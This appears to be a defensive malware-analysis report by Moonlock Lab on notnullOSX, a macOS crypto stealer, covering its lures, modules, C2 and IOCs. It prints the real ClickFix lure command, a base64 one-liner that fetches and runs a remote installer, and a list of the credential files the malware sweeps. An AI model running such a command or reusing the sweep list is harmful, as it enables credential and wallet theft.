Notorious hacker returns with a new macOS stealer targeting $10K+ crypto wallets: Header image
Moonlock Lab 17 min read

Notorious hacker returns with a new Mac stealer targeting $10K+ crypto wallets

Published:Apr 8, 2026

In 2023, a malware developer named 0xFFF rage-quit one of the most prominent underground hacking forums, leaving behind accusations and bad blood. In August 2024, 0xFFF came back under a new alias, alh1mik, with an apology and an offer: Let me back in, and I’ll build you a new macOS stealer.

By early 2026, alh1mik’s offer had materialized into notnullOSX—the Go-written, hand-targeted stealer delivered via ClickFix and malicious DMG files. This malware was built exclusively to drain crypto holdings of above $10,000 from macOS users.

Moonlock Lab telemetry recorded the first detections of notnullOSX on March 30, 2026, across 3 regions: Vietnam, Taiwan, and Spain. Here’s our breakdown of the stealer’s origin, malware functionality, distribution, and more.

Entry point: A fake Google doc with a fake problem

The entry point was first reported by researcher @g0njxa on X. The victim receives a fake protected Google document. Opening it shows a fake protected Google document interface with an encryption error, attributed to an outdated “Google API Connector.” Two options are offered to resolve it. Both deliver the same malware threat.

A screenshot of the "Update Required" notice that appears when a user opens the fake protected Google document.
An “Update Required” notice appears when a user opens the fake protected Google document.

The targeting is not passive. Before a custom lure is generated, operators fill out a submission form in the affiliate panel: the target’s social media profiles, correspondence history, wallet address, and where it was found. The panel documentation states the minimum threshold explicitly: $10,000. Submissions below that sum are not processed. 

An image of the untranslated Affiliate panel submission form.
The affiliate panel submission form (untranslated) was provided by @g0njxa.
An image of the translated Affiliate panel submission form.
A translated version of the affiliate panel submission form provided by @g0njxa.

Parallel infection chains lead to the same implant

The 2 options provided to “solve” the problem with the fake document are both methods designed to social-engineer a victim into infecting their Mac themselves. Here’s what happens in each scenario.

Chain 1: ClickFix

ClickFix is a social engineering technique that has gained consistent traction across platforms since 2024. The flow is simple: Present a problem, offer a Terminal command as the fix, and rely on the fact that macOS users, particularly developers and crypto-native users, are often comfortable enough with Terminal to paste a command without reading it carefully.

The command presented by notnullOSX lures is base64-encoded:

echo 'Y3VybCAtc0wgaHR0cDovLzExMS45MC4xNDkuMTExOjgwODAvaW5zdGFsbGVyIHwgYmFzZTY0IC1EIHwgYmFzaA=='|base64 -D|bash

Decoded, it fetches a bash installer script from hxxp://111[.]90[.]149[.]111:8080/installer. 

A screenshot showing the ClickFix infection chain, as decoded in CyberChef.
The ClickFix infection chain, as decoded in CyberChef.

That script (070402c2c531aa3a87b9ccd080532a51d17b01d982b205fc4487246d58de8913) downloads a Mach-O binary, makes it executable, strips the Gatekeeper quarantine flag, wraps it in a silent .app bundle with no Dock icon or menu bar entry, and writes a LaunchAgent for persistence.

A screenshot of code associated with notnullOSX (image 1).
A screenshot of code associated with notnullOSX (image 2).

The victim is then walked through enabling Full Disk Access in System Settings. 

A screenshot of code associated with notnullOSX (image 3).

The technical significance of this step goes beyond a simple permission grant. macOS enforces sensitive data access through TCC (transparency, consent, and control)—a framework that gates access to protected resources: Messages, Mail, Safari data, Apple Notes, Photos, Contacts, and more.

Under normal circumstances, any application attempting to read these directories triggers a system-level permission dialog. The user sees a pop-up. The access attempt is visible. notnullOSX sidesteps this entirely.

By social-engineering the victim into manually granting Full Disk Access through System Settings, the implant obtains a blanket TCC exception—one that covers every protected data category simultaneously, with no individual pop-ups firing at access time. Once FDA is granted, the implant reads Message databases, Apple Notes stores, Safari cookie files, and credential directories without macOS raising a single additional dialog. 

The TCC framework is not exploited. Rather, victims give the keys willingly to the implant because they are told it is a required installation step.

Chain 2: DMG

The disk image (636fa90aebab98534dcdbe50508ed8d3607c284c72f831a4503e223540d3f761) takes a different social engineering approach that requires less technical comfort from the victim than the ClickFix path, and arguably more deliberate design from the developer.

A screenshot of the macOS Finder with DMG contents.
This screenshot shows the contents of the DMG, as seen in the macOS Finder.

Mounting the image reveals 3 items: Install.sh, README.txt, and a Terminal alias. Rather than asking the victim to open their Terminal and paste a command, the DMG uses a shortcut to open Terminal directly from the mounted volume. The README.txt handles the rest.

A screenshot of the README.txt contents.
This screenshot shows the contents of README.txt.

Install.sh itself does not look like a script. At 299 KB, it presents a base64-encoded text.

A screenshot of the Install.sh raw contents
This screenshot shows the raw contents of Install.sh.

Decoded in CyberChef, the actual script emerges. The DMG infection chain ends at the same implant as the ClickFix chain.

The DMG infection chain, as decoded in CyberChef.
The DMG infection chain, as decoded in CyberChef.

Moonlock Lab catching notnullOSX in the wild

This campaign is real and ongoing. In fact, Moonlock Lab telemetry recorded the first detections of notnullOSX on March 30, 2026, across 3 regions: Vietnam, Taiwan, and Spain. Here’s more about what we learned from catching notnullOSX in the wild.

An image of a world map tracking detections of the malware campaign.
Detections among Moonlock’s users in Vietnam and Taiwan.

A macOS wallpaper app disguise

Open-source intelligence on the delivery chain showed a multi-layer distribution operation built around the WallSpace brand.

The detected files shared a common name: WallSpace.app—a masquerade version of WallSpace, a legitimate macOS live wallpaper application with a real presence on the web and a recognizable install flow. The malicious domain wallpapermacos[.]com presents as a polished product page with  cinematic screenshots, a gallery of wallpapers, and a “Download Free” button.

Overall, to a macOS user who had just watched a YouTube video about a live wallpaper app (more on this later), it would look entirely legitimate.

The wallpapermacos.com landing page.
The wallpapermacos.com landing page.

The download path tells a different story. Navigating to wallpapermacos[.]com/download/ triggers a Cloudflare malware warning. The domain had already been flagged as a suspected malware distributor by the time of the investigation.

Cloudflare malware warning on wallpapermacos[.]com/download/.
Cloudflare flags wallpapermacos[.]com/download/ as suspected malware.
urlscan.io result on wallpapermacos[.]com
The urlscan.io results for wallpapermacos[.]com flag it as malicious activity.

However, we found an additional malicious page, wallspaceapp[.]com, which was still active and appeared in the very first Google Search results. 

A screenshot of the Google search result: wallspaceapp[.]com, "Install WallSpace — Live Wallpapers for macOS."
Google Search results displayed wallspaceapp[.]com, “Install WallSpace — Live Wallpapers for macOS.” Google Search is a trademark of Google LLC.

The install page itself is a textbook ClickFix setup: a terminal window graphic with a base64-encoded command, a prominent Copy button, and 3 numbered steps: 

  1. Open Terminal.
  2. Paste & Run.
  3. Pick a Wallpaper. 
Malicious WallSpace ClickFix installation page.

A hijacked YouTube channel

Traffic to wallpapermacos[.]com was being driven by a YouTube channel (@wallspacemacos) hosting a single video titled “WallSpace – Live Wallpaper for macOS” with 50,000 views, accumulated within 2 weeks of publication.

YouTube video: WallSpace Live Wallpaper for macOS, 50K views.
The YouTube video “WallSpace – Live Wallpaper for macOS” has accumulated 50K views and counting. YouTube is a trademark of Google LLC.

The channel details raise immediate red flags. The account shows a registration date of May 31, 2015, making it over a decade old, yet it has only 43 subscribers and a single hosted video. A channel dormant for 10 years that suddenly publishes a single malware distribution video and accumulates 50,000 views in 2 weeks is a pattern that is consistent with one explanation: a hijacked account, repurposed and promoted.

A screenshot of YouTube channel info.
The associated YouTube channel joined the platform in 2015 and has 43 subscribers, 1 video, and 50,405 views. YouTube is a trademark of Google LLC.

The video description links directly to wallpapermacos[.]com. The C2 endpoint embedded in the ClickFix command on that page was unreachable at the time of investigation. The infrastructure had been rotated or taken offline. 

The choice of a decade-old account is deliberate. Older YouTube accounts carry implicit trust signals, such as age, history, and a real registration date, that freshly created channels do not. The 50,000 view count suggests either paid promotion or SEO manipulation to display the video to users searching for macOS wallpaper applications.

The victims who followed the chain from YouTube to wallpapermacos[.]com and, ultimately, to entering a Terminal command, had no obvious reason, at any step, to distrust what they were looking at.

Moonlock Lab’s analysis of the notnullOSX

The information above breaks down how notnullOSX reaches its victims. What follows is Moonlock Lab’s analysis of how it steals from the victim’s machine.

The binary in question is b0cd860f18b0136e063d7ef9a3c84d138a1a21dbea019605ce66a3a1fad91db4. This is a 27.74 MB multi-architecture Mach-O, built for both arm and x86_64. At the time of this publication, 10 out of 64 vendors on VirusTotal flagged it.

Screenshot of the VirusTotal detection page.
VirusTotal detection page.

For a SOC analyst triaging an alert, those labels offer no useful signal. “Adware.” “Potentially unwanted.” “Suspicious packer.” None of this vocabulary describes what this binary actually is: the notnullOSX backdoor, a persistent, modular implant capable of exfiltrating iMessage history, Apple Notes, crypto wallet files, browser credentials, and Safari cookies, with a live WebSocket channel back to C2.

The gap between what the detection labels say and what the binary actually does is itself an indicator of how effectively the garble obfuscation is suppressing meaningful classification.

Modular architecture

Once installed and granted Full Disk Access, notnullOSX operates through a modular architecture, which means individual binaries downloaded from C2 and staged in /tmp, each responsible for a specific data category.

Dynamic analysis reveals the following confirmed modules executing in sequence:

  1. SystemInfo
  2. iMessageGrab  
  3. AppleNotesGrab  
  4. SafariCookiesGrab  
  5. CryptoWalletsGrab  
  6. BrowserHistoryGrab
  7. BrowserGrab
  8. FirefoxGrab
  9. CredsGrab
  10. TelegramGrab
  11. ReplaceApp
LLDB debugger output showing modules executing.

The /tmp directory during execution shows the full picture of what is being staged and exfiltrated: browser session data, browser history, credential stores, crypto wallet files, iMessage chat databases, Apple Notes databases, and Firefox profile data. Telegram session files are also targeted. Files are collected locally before transmission.

A screenshot showing where files are collected locally.

Each module arrives as a fresh download from cdn.filestackcontent.com—a legitimate CDN, served over HTTPS, with content type application/x-mach-binary and a filename that leaves no ambiguity about its purpose.

A screenshot showing a the filename of the module download.

Grabbers under the loop

BrowserGrab handles the full browser credential sweep: Chrome passwords and cookies decrypted on-device via PBKDF2 and AES-CBC, Firefox logins derived through ASN.1 PBE key parsing and 3DES, Safari history read directly from plaintext SQLite.

BrowserHistoryGrab is the same surface with a narrower scope: history and bookmarks only across all 3 major browsers. Browser processes are killed before copying to release file locks.

A screenshot of BrowserHistoryGrab download.
BrowserHistoryGrab download.

SafariCookiesGrab implements a full binary deserializer for Apple’s .binarycookies format, handling both standard and sandboxed app container paths, and resolving the real user’s home directory even when running as root.

SafariCookiesGrab download.
SafariCookiesGrab download.

CryptoWalletsGrab hits desktop wallets such as Bitcoin Core, Electrum, Wasabi, Exodus, Atomic, and others, copying raw data files without decryption. It also sweeps browser extension profiles against a hard-coded list of 30-plus wallet extension IDs, targeting the IndexedDB subdirectory where the encrypted seed phrase vault lives.

CryptoWalletsGrab download.
CryptoWalletsGrab download.

iMessageGrab copies chat.db and exports up to 500 messages per conversation, including rich content messages decoded from attributedBody blobs.

iMessageGrab download.
iMessageGrab download.

AppleNotesGrab extracts the Notes database, decompresses each note’s gzip-compressed protobuf body, and recovers plaintext. This includes notes the user typed out but never thought to encrypt.

AppleNotesGrab download.

TelegramGrab copies tdata verbatim (Telegram Desktop’s session store). The blob is portable. Loading it on another machine restores the full session, 2FA bypassed, because the token is already authenticated.

FirefoxGrab collects raw NSS credential files, key4.db, logins.json, and cookies.sqlite, intact for offline decryption. No on-device processing is needed.

FirefoxGrab download.
FirefoxGrab download.

CredsGrab is the module that most directly targets developers. It sweeps the home directory for SSH keys, cloud provider credentials, shell configs, package manager tokens, and DevOps tooling secrets:

  • /Users/username/.ssh/id_rsa
  • /Users/username/.ssh/id_rsa.pub
  • /Users/username/.ssh/id_ed25519
  • /Users/username/.ssh/id_ed25519.pub
  • /Users/username/.ssh/id_ecdsa
  • /Users/username/.ssh/id_ecdsa.pub
  • /Users/username/.ssh/config
  • /Users/username/.ssh/known_hosts
  • /Users/username/.aws/
  • /Users/username/.config/gcloud
  • /Users/username/.azure
  • /Users/username/.kube/config
  • /Users/username/.docker/config.json
  • /Users/username/.terraform.d/credentials.tfrc.json
  • /Users/username/.config/doctl/config.yaml
  • /Users/username/.gitconfig
  • /Users/username/.netrc
  • /Users/username/.git-credentials
  • /Users/username/.zshrc
  • /Users/username/.bashrc
  • /Users/username/.zprofile
  • /Users/username/.bash_profile
  • /Users/username/.profile
  • /Users/username/.npmrc
  • /Users/username/.pypirc
  • /Users/username/.gem/credentials
  • /Users/username/.composer/auth.json
  • /Users/username/.cargo/credentials
  • /Users/username/.config/filezilla

SSH keys mean lateral movement to every server the victim authenticates against. Shell configs frequently contain hardcoded API tokens. Package manager credentials open NPM, PyPI, and RubyGems registries. For a developer with live infrastructure, this is not credential theft. It is supply chain access.

ReplaceApp

The module that needs the most attention is ReplaceApp. The name and behavior point toward a hardware wallet swapper, most likely targeting such hardware wallets as Ledger Live or Trezor. A ReplaceApp-style module works by substituting a trojanized version of a legitimate application, allowing the attacker to intercept seed phrases entered during wallet setup.

ReplaceApp download.
ReplaceApp download.

Each configured app malware:

  1. Downloads a .tar.gz bundle from /api/replaceapp/download/ on the C2
  2. Extracts the archive to a temp directory
  3. Saves the original app’s replace_app_AppIcon.icns icon so the swap looks visually identical to the user
  4. Replaces the installed .app bundle on disk with the downloaded malicious version
  5. Restores the original icon onto the new bundle so the Dock and Finder show no visual change
  6. Reports back with [OK] %s replaced successfully per app, and prints a final tally of Replaced: %d, Skipped: %d, Errors: %d

Apps that don’t exist on the system are skipped. If the entire ReplaceApp feature is toggled off on the server side, it exits with ReplaceApp being disabled in config, meaning the C2 operator can enable or disable the trojanization capability remotely per-target.

RAT indicators within the stealer

The communication behavior of notnullOSX separates it from the typical stealer profile. Traffic analysis shows the implant maintaining a persistent WebSocket connection to C2, with a heartbeat mechanism keeping the session alive between data collection events.

MethodPurpose
RegisterRegister agent with C2
SendHeartbeatPeriodic heartbeat to C2
SetOfflineMark agent offline
UpdateFDATCC/Full Disk Access manipulation
WriteOutboxPOST message to Firebase outbox
StartListeningStart SSE + heartbeat
DownloadModuleFromURLDownload, drop, and execute modules

This is not how a stealer normally behaves. Stealers collect, transmit, and exit. A persistent bidirectional channel with a keep-alive heartbeat indicates command-and-control capability. This is the ability for the operator to send instructions to the implant after installation, not just receive stolen data from it.

The main module is maintaining a persistent connection to Firebase Realtime Database ( mactest-6b2ab-default-rtdb[.]firebaseio.com) over TLS 1.3 with HTTP/2. The connection looks identical to any legitimate Firebase-backed application until the traffic is read closely enough to see event: put and data: {“path”:”/”,”data”:{…,”download_url”:”https://cdn.filestackcontent.com/…”,”name”:”SystemInfo”…,”type”:”run_module”}} moving through it.

hex dump: POST to Firebase outbox shows module_result for FirefoxGrab.
The hex dump: POST to Firebase outbox shows module_result for FirefoxGrab.

Communication architecture

Inbound (C2 → Agent) — SSE Stream

The agent maintains a persistent HTTP GET connection to the Firebase RTDB endpoint, reading a Server-Sent Events stream.

StartListening routine parses event: and data: fields and dispatches on the event type:

EventAction
keep-aliveHeartbeat
payloadTrigger DownloadModuleFromURL
up / put / patchConfig/State Update

Outbound (Agent → C2) — HTTP POST

Each agent message is a JSON POST to /ns/<UUID>/outbox/<msgID>.json.

TypeMeaning
fda_grantedFull Disk Access successfully obtained
module_resultDropped module execution result

The notnullOSX timeline and background

The story of how notnullOSX came to be is almost as interesting as how it works. This stealer has a traceable, almost theatrical backstory. It began with a promising project, a false tip about law enforcement, and a rival who may have engineered it to walk away with the market.

December 2022: The beta project

According to an interview with macOS malware operators, the first public appearance of 0xFFF on the XSS forum was not an advertisement. It was a technical confession.

“I wrote a stealer for MacOS,” 0xFFF posted in Russian. “It is embarrassing to even call the version raw.” He then listed what it could do anyway: steal crypto, grab Telegram sessions, and bypass Apple’s firewall. Logs were sent to a Telegram bot. Files over 50MB went to anonfiles. There was no panel. He mentioned he might write one eventually.

A screenshot from an interview with malware developer 0xFFF.

He would later describe the circumstances of its creation with characteristic bluntness: “I wrote it myself when I was still on the train. I remember it well.”

It was not polished. It was not stable. But in late 2022, a dedicated macOS-native stealer—any macOS-native stealer, in fact—was rare enough that simply being functional most of the time was a competitive position. 0xFFF had found a niche in the market. But the niche would not remain his for long.

A screenshot from the interview with macOS malware devlopers.
Source: https://g0njxa.medium.com/the-journey-into-mac-os-infostealers-81873ef6d0b2

February–March 2023: The greed

By February 2023, the stealer had paying clients. Traffer teams, including the Cthulhu NFT Team, were running it operationally. Early beta testers had paid $150 for a lifetime subscription. It was a price that lasted until 0xFFF decided it didn’t.

Within weeks, 0xFFF raised the monthly rate to $4,000, then to $9,000, and issued refunds to the lifetime subscribers rather than honor the original terms.

The partnership

The threat actor known as ping3r—at the time, running the coockie.pro forum, and later, the developer behind Atomic macOS Stealer, had noticed 0xFFF early. He wrote with a cooperation proposal: ping3r would advertise the stealer, provide clients, and embed his forum branding in the malware’s output logs. In exchange, 0xFFF would pass along 50% of revenue from referred clients. By ping3r’s own account, those clients were paying $8,000 per month.

The arrangement was functional. 0xFFF’s stealer advertised coockie.pro in its output records.

0xFFF stealer output record
Source: https://g0njxa.medium.com/the-journey-into-mac-os-infostealers-81873ef6d0b2

Ping3r vouched for 0xFFF on the forum and acted as guarantor for transactions. The stealer was announced on coockie.pro with ping3r’s endorsement.

The arrangement did not last.

The fake tip

Later, 0xFFF received a private message from ping3r claiming he was under active investigation by the Russian FSB (Federal Security Service) and Ukrainian SBU (Security Service of Ukraine). 0xFFF panicked. He posted inflammatory statements on XSS, accusing the forum itself of FSB cooperation. He cobbled together a fake “sale” of the source code to balaclava, the admin of the Cthulhu Team, as cover for a rapid exit. He then deleted his Telegram account, cleared correspondence, and disappeared.

A post associated with user 0xFFF.
Source: https://g0njxa.medium.com/the-journey-into-mac-os-infostealers-81873ef6d0b2

This “sale” left active subscribers with a dead product. Evidence of the promised refunds was thin. The XSS administration banned him for defamation.

0xFFF’s assessment of the episode, delivered 2 years later: “I was stupidly fooled.”

The macOS stealer ecosystem that followed from the wreckage of 0xFFF’s 2023 exit, AMOS, Poseidon, Cthulhu, and Banshee, was, in a meaningful sense, built on the foundation of his work. And 0xFFF would not be unaware of this when he returned.

August 2024: The apology

In August 2024, a Telegram channel appeared: @nullxfffTrue, with the profile name “0xfff – он вам не Алхимик” (0xfff – he is not an Alchemist for you). The user, also known as alh1mik, published his story of the 2023 exit, including the fabricated FSB threat, the panic, the XSS ban, and the AMOS launch that followed suspiciously fast. He named ping3r directly and posted screenshots of recent correspondence as evidence.

0xFFF Telegram apology post.
An “apology post” was shared by 0xFFF on Telegram under the new username alh1mik.

Additionally, the threat actor made a concrete offer: reinstatement, in exchange for an exclusive new macOS stealer sold only through the XSS forum. 

Screenshot of the 0xFFF promise of a new macOS stealer release.
0xFFF returned with the promise of a new macOS stealer release.

Moonlock Lab researcher @osint_barbie documented the activity on X as it unfolded, noting that alh1mik had simultaneously opened preorders for a new macOS stealer, priced at $400/month for life, with a launch price of no less than $1,000/month. The announcement included a video message previewing an admin panel that showed collected logs organized by IP, credentials, and wallet presence across Exodus, Atomic, Trust, and MetaMask.

A screenshot of the Admin panel preview and pre-order announcement.

A video showed some strings from the promised stealer. The Russian inline comments are notable: phrases like “// Обработка ошибки, если не удается” (“error handling if it fails”). These read less like a developer’s shorthand and more like an LLM’s attempt to explain itself. 

A screenshot of the video shared on Telegram.
A Telegram video message was shared with a brief screen recording of “0xfff MacOS Stealer.”

The community responded with predictable skepticism. Rodrigo, developer of Poseidon Stealer, summarized alh1mik’s intervening years: “He sold drugs, did CIS carding, and many other idiot things.” Some forum members labeled him a scammer who had disappeared after borrowing money. The XSS forum had no reason to believe the comeback would materialize.

However, by early 2026, it did—with a Go-written modular stealer with full backdoor capabilities.

Final thoughts

notnullOSX is not the product of the same developer who shipped a half-working stealer commuting on a train in 2022. The Go rewrite, the garble obfuscation, the modular architecture, the WebSocket channel, the $10,000 targeting floor—these are the marks of someone who spent 2 years paying attention to what the macOS threat landscape required, and methodically building toward it.

The immediate risk is concentrated and specific. The targets are macOS users with hardware crypto wallets, DeFi participants, and anyone whose wallet address has ever appeared alongside their real identity. The ReplaceApp module exists precisely for the people who believe a hardware wallet keeps their assets safe. It doesn’t, if an app managing that wallet can be swapped for a trojanized clone.

The longer-term concern is what this infrastructure becomes. A modular implant with a live C2 channel and remote update capability is not a stealer with a shelf life. It’s a platform with a roadmap. New modules, such as iCloudGrab, will be written. The open question is how far the development will go before the security teams and Mac users catch up. 

This report is our piece of the answer. This technical breakdown is for the security researchers and defenders who are tracking cyber threats. The Moonlock app is for everyone else—updated with detections for the malware that our team documents, including this one.

Detection notes

Moonlock Lab wrote this section to provide immediate, actionable guidance on how to identify and defend against the notnullOSX stealer. Whether you’re a security professional or a concerned crypto owner, look for these signs to detect the stealer’s presence.

For security teams

  • Block or alert on outbound connections to mactest-6b2ab-default-rtdb[.]firebaseio.com.
  • Flag persistent text/event-stream (SSE) connections from macOS endpoints.
  • Alert on Mach-O binaries downloaded from cdn.filestackcontent[.]com.
  • Monitor for LaunchAgents with plaintext credentials in EnvironmentVariables.
  • Flag dscl . -authonly calls from non-system processes
  • Alert on xattr -rd com.apple.quarantine invoked from browser or document context
  • Review any Full Disk Access grants to unrecognized applications.
  • Check /tmp for staged, short-lived Mach-O binaries, especially with names matching the module naming convention (*Grab, ReplaceApp).
  • Alert curl fetching a binary from a not known/familiar domains followed immediately by xattr -d com.apple.quarantine

For crypto owners and developers

  • Never paste Terminal commands sourced from a browser or document.
  • Treat any app requesting Full Disk Access during installation as suspicious.
  • Do not grant Full Disk Access unless the application and its developer are verified.
  • Audit ~/Library/LaunchAgents/ for unfamiliar plists.

Indicators of compromise (IOCs)

Network infrastructure

IndicatorTypeDescription
mactest-6b2ab-default-rtdb[.]firebaseio.comDomainFirebase RTDB C2
83.217.209[.]88IPProxy / VPS
111[.]90[.]149[.]111IPClickFix installer server
wallpapermacos[.]comDomainMalicious WallSpace lure
wallspaceapp[.]comDomainMalicious WallSpace lure
cdn.filestackcontent[.]comDomainModule delivery CDN (abused)

Distribution

IndicatorTypeDescription
https://www.youtube.com/watch?v=nbH5KJGYBHkURLMalicious YouTube video (hijacked account)
https://www.youtube.com/@wallspacemacosURLMalicious YouTube channel (hijacked, est. 2015)

File hashes

SHA256Description
8d029b65c1076141d4817f25428cef44888b2fb4349ab9b9df7a413d240e1177First-stage binary
b0cd860f18b0136e063d7ef9a3c84d138a1a21dbea019605ce66a3a1fad91db4Main module Mach-O (ClickFix chain)
ff7f0c39aa90ed8f4ce24658a347e7871bb5f6a607eaedf2cf2859a1fb5782a9Main module Mach-O (DMG chain)
070402c2c531aa3a87b9ccd080532a51d17b01d982b205fc4487246d58de8913Stage 1 bash installer (ClickFix)
b73adc5dc04159241e4a89cbc82eaa381f406080f3aaaa1f27d145900dd54267Mach-O variant
82cb3a22c90aee6cfc2f7e7f72e921e21226492c1d424d2b754b9cd763ab0b20Mach-O variant
47373950e1d23c066de0ed2d511b4b7eea56ec22d7b501db265995fec51dbb44Mach-O variant
4584d02b5193799453766857dba97021f966b9cbf6033d7dd3a33d61eb975a6cMach-O variant
636fa90aebab98534dcdbe50508ed8d3607c284c72f831a4503e223540d3f761DMG

This is an independent publication, and it has not been authorized, sponsored, or otherwise approved by Apple Inc. Mac and macOS are trademarks of Apple Inc.

MoonLock Banner
Moonlock Lab Team

Moonlock Lab Team

Moonlock Lab is a team of malware researchers and reverse engineers, whose expertise is at the core of Moonlock's cybersecurity products. Moonlock is the cybersecurity division of MacPaw.